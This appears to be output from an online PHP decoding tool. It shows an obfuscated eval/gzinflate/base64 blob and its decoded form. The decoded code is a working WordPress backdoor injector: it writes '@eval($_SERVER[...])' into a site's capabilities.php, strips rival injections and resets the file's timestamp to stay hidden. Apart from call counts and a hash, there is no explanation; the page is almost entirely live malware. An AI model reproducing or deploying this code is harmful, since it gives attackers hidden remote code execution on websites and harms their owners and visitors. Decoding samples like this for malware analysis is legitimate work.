Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRqNUFoUlVTtbVZSfOkzQNIpikC2wSDMRRMEpj632fI..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo2NToiL3Vzci9ob21lL2NhYi1jZW50cm9kZWFydGV5YmFpbGUvd3d3L3dwLWluY2x1ZGVzL2NhcGFiaWxpdGllcy5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfRUI1ODc1QVtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0VCNTg3NUEnXSk7IjtpOjM7czoyNjoifl5ccypmdW5jdGlvblxzK3dwX3JvbGVzfm0iO30=');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRqNUFoUlVTtbVZSfOkzQNIpikC2wSDMRRMEpj632fIsw9p8wds43vOPffcW4ncqB1SR7cIhhZDNXE+DSWNskjz7q5BHjZG0xAPFD0H+Ca0GzIZNEbuHMvewmhKILjxF4aawY7enAdqZHdma6hAZaDAzcAg6byxlRcdPS8woKNiy9hGsEMIyJob6/EOaw2/NZyyXPP8Kw33LhbmwrVVhsy2C2yyzcxJBPrlfQz7ZOObMrsf6BFE+eLGkJvAkKUXU2W2STbUbPd4DAM9eYPNmTvT1XtnPOvK2k8gP+v7/zrnUmUet4UFvq9zfJvYpsdg32MXIOteW9Mw05Rha5h3W13/nsBATfrtsTOT9Inu6xMjg11dHT+bkt4eTVfKaPZAzYl/3fUKz4aFZ9nIC7FDmgBkUQCNpsdrXvN68j73xVR6a5t74gQS1hTpVqx/qzgpBQyHVHjfjWqC4rrwp1IR+CI4YUKt6qSEPFnMvRSqSZYwFDzQNT+DECK+RRZjKKZ14VZIKUdjTpWjmm0lqHW1hKgI29HyvAVrNQnTGCAe72CClivEliCkDFGWnHLtY7Ej1KIYrZaBxYBbe5N/R1Mv1Ar7FSOWxnQHfT0SfDln2Ms94vmhfEHJP5h22jEFYRwjwMZohba8hoTFyxhFxAJ8lJEofBXEtVVuRLwUxB/frTgur1Ymnht4MIOizeTgR6nzQPYuFecST0V/Aj4Xcijpl/R73yiu4OnxafmgDfjp7fORZM96+nww79z+E+x/fCtaHTAcHNpens/aLVwIsrSDpZRg6n8YhXJYovSzYfmkCBamheCziGNWHvFa+Qs=")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | 2186aca6ef0761ced16947dbdfa123f1 |
Eval Count | 1 |
Decode Time | 50 ms |